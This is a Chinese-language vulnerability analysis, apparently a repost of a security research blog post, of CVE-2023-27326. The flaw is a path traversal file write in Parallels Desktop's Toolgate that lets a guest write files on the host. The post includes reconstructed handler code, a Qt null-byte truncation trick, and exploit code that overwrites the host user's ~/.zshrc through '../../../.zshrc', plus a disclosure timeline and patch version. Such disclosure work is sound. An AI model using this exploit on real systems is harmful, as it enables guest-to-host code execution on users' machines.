文章包含以下漏洞的信息:
-
CVE-2023-27326 目录遍历任意文件写入漏洞
目录遍历任意文件写入漏洞
此漏洞允许本地攻击者写入任意文件并提升受影响的Parallels Desktop安装的权限。攻击者必须首先获得在目标客户系统上执行高权限代码的能力才能利用此漏洞。
Toolgate组件中存在特定缺陷。该问题是由于在文件操作中使用用户提供的路径之前,未对其进行适当验证而导致的。攻击者可以利用此漏洞在主机系统当前用户的上下文中写入任意文件并执行代码。
即使启用了“与 Mac 隔离”功能,也可以访问易受攻击的代码路径。
漏洞总结
易受攻击的代码位于 Parallel Desktop Toolgate 组件的请求处理程序之一。guest用户通常使用此请求将故障转储文件写入GuestDumps
VM 主目录的子文件夹中。该文件的内容完全由用户控制,但其文件名的格式为以下模式:<user_input_trunc>.<i>-<j>-<k>-<l>.<date>-<time>.<ext>
.
该漏洞是双重的:
-
首先,因为没有对
<user_input_trunc>
文件名部分进行检查,所以可以执行目录遍历,从而允许写入位于预期文件夹之外的文件。 -
然后,由于 Qt
QByteArray
和QString
类的微妙之处,文件名的格式可以完全跳过(但不幸的是,用户输入的截断不是),导致几乎完全由用户控制的路径。
最后,这种任意文件写入可用于覆盖 shell 登录脚本并以用户身份执行任意代码。
漏洞详情
CSHAShellExt
该漏洞存在于请求TG_REQUEST_VIRTEX_CRASH
(ID 0x8323)工具的命令处理程序中。该工具的所有命令CSHAShellExt
最终都在函数中CSHAShellExt::handle_request_inner
(将从不同的线程调用):
uint64_t CSHAShellExt::handle_request_inner(CSHAShellExt *this, request *request) {
// ...
uint32_t inline_size = request->InlineByteCount;
uint32_t *inline_data = get_request_inline_data_inner(request);
// Ensure that there's enough inline data for the header
if (inline_size < 0x10) { /* ... */ }
// Ensure that the version is supported (1, 0)
if (inline_data[0] != 1) { /* ... */ }
// Handle the request by type
switch (request->Request) {
// ...
case TG_REQUEST_VIRTEX_CRASH:
// Ensure that this is the correct operation code (?)
if (inline_data[2] != 4) { /* ... */ }
// Ensure that there's at least 0x200 bytes of inline data
if (inline_size < 0x200) { /* ... */ }
// Call the appriopriate handler
this->virtex_req_crash(request, inline_data, &ret);
goto FINISH_REQUEST;
// ...
}
// ...
}
此函数将请求转发到适当的处理程序,因为该CSHAShellExt
工具接受不同类型的请求。在请求的情况下TG_REQUEST_VIRTEX_CRASH
,相应的处理程序是CSHAShellExt::virtex_req_crash
:
void CSHAShellExt::virtex_req_crash(
CSHAShellExt *this,
request *request,
uint32_t *inline_data,
uint32_t *ret_p) {
// ...
// Compute the path where to store the guest dumps files
this->m_CVirtualPC->m_CVmConfiguration->getVmIdentification()->getHomePath(&homepath);
get_file_dir_absolute_path(&homepath_abs, &homepath);
format_guestdumps_path(&guestdumps, &homepath_abs);
// ...
// Get the buffer containing the file data
if (request->BufferCount == 0) { /* ... */ }
buffer0_pages = map_buffer_at_idx_pages_from_guest_inner(request, 0, 0);
if (buffer0_pages == NULL) { /* ... */ }
// ...
// Get the buffer containing the file name
QString pbProcName;
pbProcName_idx = inline_data[0x44];
if (pbProcName_idx == 0)
goto SKIP_PBPROCNAME;
pbProcName_pages = map_buffer_at_idx_pages_from_guest_inner(request, pbProcName_idx, 0);
if (pbProcName_pages == NULL) { /* ... */ }
QByteArray pbProcName_arr;
pbProcName_arr.resize(pbProcName_pages->RequestSize);
read_from_buffer_pages_inner(pbProcName_pages, 0, pbProcName_arr.data(), pbProcName_pages->RequestSize);
pbProcName = QString::fromUtf8(pbProcName_arr);
// ...
SKIP_PBPROCNAME:
// ...
SKIP_PBPROCPATH:
// Handle the subrequest by type
code = inline_data[7];
switch (code) {
// ...
case 1:
// Prepare the guest dumps directory
prepare_guestdumps_dir(&guestdumps);
// ...
// Format the crash dump filename
format_dump_filename(&filename, inline_data, &pbProcName);
// ...
// Build the final path from the directory and filename
QString filepath(guestdumps);
filepath.append(QDir::separator());
filepath.append(filename);
// ...
// Finally, write the crash dump to disk
write_dump_to_disk(buffer0_pages, &filepath);
// ...
break;
// ...
}
// ...
}
此处理程序首先使用 检索 VM 的主路径(~/Parallels/<vmname>.pvm
默认情况下)CVmIdentification::getHomePath
。get_file_dir_absolute_path
它使用并附加到/GuestDumps
它的绝对路径format_guestdumps_path
以创建最终路径。
void get_file_dir_absolute_path(QString& abs_path, const QString& path) {
// ...
abs_path = QFileInfo(path).dir().absolutePath();
// ...
}
void format_guestdumps_path(QString& guestdumps, QString& homepath) {
// ...
// Append /GuestDumps to the home path
guestdumps.append(homepath);
guestdumps.append("/");
guestdumps.append("GuestDumps");
// ...
}
请求缓冲区 #0 包含故障转储数据。请求缓冲区 #n(n
从内联数据中提取)包含故障转储文件名。文件名被提取并解析为 UTF-8 字符串(稍后将详细介绍该部分)。
最后,处理程序从内联数据中提取另一个子请求类型。如果它是 1(“在不触发崩溃的情况下写入崩溃转储”),它将执行以下操作:
-
它调用
prepare_guestdumps_dir
创建来宾转储目录并删除以前的故障转储; -
它调用
format_dump_filename
附加各种整数、当前日期/时间和文件名的扩展名; -
它连接来宾转储目录和格式化的故障转储文件名(启用目录遍历);
-
它调用
write_dump_to_disk
将故障转储数据写入生成的文件路径。
prepare_guestdumps_dir
, format_dump_filename
and的代码write_dump_to_disk
可以参考如下:
void prepare_guestdumps_dir(QString &guestdumps) {
// ...
// Create the directory if it doesn't exist
QDir dir(guestdumps);
if (!dir.exists())
dir.mkdir(".");
// Remove all files with the specified extensions
QStringList extensions = { "*.dmp", "*.crash", "*.dump" };
QFileInfoList list = dir.entryInfoList(extensions, 0x10A, 1);
for (int i = 0; i < list.size(); ++i)
QFile::remove(list.at(i).absoluteFilePath());
// ...
}
void format_dump_filename(QString& filename, uint32_t *inline_data, QString& pbProcName) {
// ...
// Append some numbers from the inline data to the filename
filename = pbProcName.mid(0, 20);
filename.append(".");
filename.append(QString::number(inline_data[8], 10));
filename.append("-");
filename.append(QString::number(inline_data[9], 10));
filename.append("-");
filename.append(QString::number(inline_data[0xB], 10));
filename.append("-");
filename.append(QString::number(inline_data[0xA], 10));
// ...
// Append the current date & time to the filename
filename.append(QChar("."));
filename.append(QDateTime::currentDateTime().date().toString());
filename.append(QDateTime::currentDateTime().time().toString("-hhmmss"));
// ...
// Append the VM type to the filename
switch (inline_data[4]) {
case 0:
filename.append(".non");
break;
// ...
}
// ...
// Append the dump type to the filename
switch (inline_data[6]) {
case 3:
filename.append(".dump");
break;
// ...
}
// ...
}
void write_dump_to_disk(pages *buffer0_pages, const QString& filepath) {
// ...
// Open the file for writing
QFile file(filepath);
if (!file.open(2)) { /* ... */ }
// Write the content of the buffer to it
pos = 0;
while (1) {
len = get_remaining_bytes_from_buffer(buffer0_pages, pos, &buf);
if (!len)
break;
pos += len;
file.write(buf, len);
// ...
}
// Close the file
file.close();
// ...
}
乍一看,文件名似乎无法完全控制,因为format_dump_filename
会截断它,然后为其添加多个后缀。但是,如果我们提供一个pbProcName
缓冲区,其中我们的文件名后跟至少一个空字节,则调用QString::fromUtf8
将创建一个以至少一个空 unicode 字符结尾的字符串(因为QString
s 不是以空字符结尾的)。然后,在向其追加其他字符串时,它们将在空 unicode 字符之后。最后,当它传递给 时QFile::QFile
,将只使用第一个空字符之前的字符。因此,我们可以完全控制文件名,除了最大长度为 19 个字符(因为截断为 20 个字符,减去一个空字节)。
以下测试代码及其输出突出显示了此行为。
int main(int argc, char *argv[]) {
char buf[10];
memset(buf, 0, sizeof(buf));
strcpy(buf, "Hello");
QString str = QString::fromUtf8(buf, sizeof(buf));
qInfo() << str;
str.append(" World");
qInfo() << str;
printf("%sn", str.toStdString().c_str());
}
"Hellou0000u0000u0000u0000u0000"
"Hellou0000u0000u0000u0000u0000 World"
Hello
从上面可以看出,初始QString
包含空 unicode 字符,一个用于创建它的缓冲区的每个空字节。然后在空 unicode 字符之后附加第二个字符串。最后,当将结果QString
转换为常规 C 字符串时,空 unicode 字符将转换为空字节,因此调用的输出printf
不包括字符串的第二部分。
Exploitation
此漏洞可用于用任意内容覆盖用户主目录中的文件。在我们的利用中,我们决定以 shell 配置文件为目标~/.zshrc
并用一个简单的open /System/Applications/Calculator.app
. 这将导致每次用户打开新的终端窗口/选项卡时都会打开计算器应用程序。另一个有趣的目标可能是位于其主路径中的 VM 配置文件config.pvs
,以尝试启用共享文件夹功能并获得对整个主机文件系统的访问权限。
基本上,我们的利用归结为发出以下请求:
void exploit(void) {
char inln[0x200];
char *CR = kzalloc(0x1000, GFP_KERNEL);
char *pbProcName = kzalloc(0x1000, GFP_KERNEL);
memset(inln, 0, sizeof(inln));
*(uint32_t *)(inln + 0) = 1;
*(uint32_t *)(inln + 8) = 4;
*(uint32_t *)(inln + 0x1c) = 1;
*(uint32_t *)(inln + 0x110) = 1;
strcpy(CR, "open /System/Applications/Calculator.appn");
strcpy(pbProcName, "../../../.zshrc");
twobuf_req(0x8323, inln, 0x200, CR, strlen(CR), pbProcName, strlen(pbProcName)+1, 0);
//kfree(CR);
//kfree(pbProcName);
}
完整的漏洞利用代码可以在GitHub 存储库中找到
(https://github.com/Impalabs/CVE-2023-27326)
Patch
此漏洞分配为 CVE-2023-27326,并在Parallels Desktop 的18.1.1 (53328) 安全更新中进行了修补。
Timeline
-
2022 年 9 月 19 日– 案例在 ZDI 研究人员公开。
-
2022 年 9 月 20 日– 在 ZDI 研究人员公开的案例。
-
2022 年 10 月 10 日– ZDI 研究人员门户上的案例更新。
-
2022 年 11 月 3 日– 案例审查并向供应商披露。
-
2022 年 12 月 13 日– 该漏洞已在 18.1.1 更新中修复。
-
2023 年 3 月 7 日–该公告发布在 ZDI 网站上。
原文始发于微信公众号(军机故阁):Parallels Desktop漏洞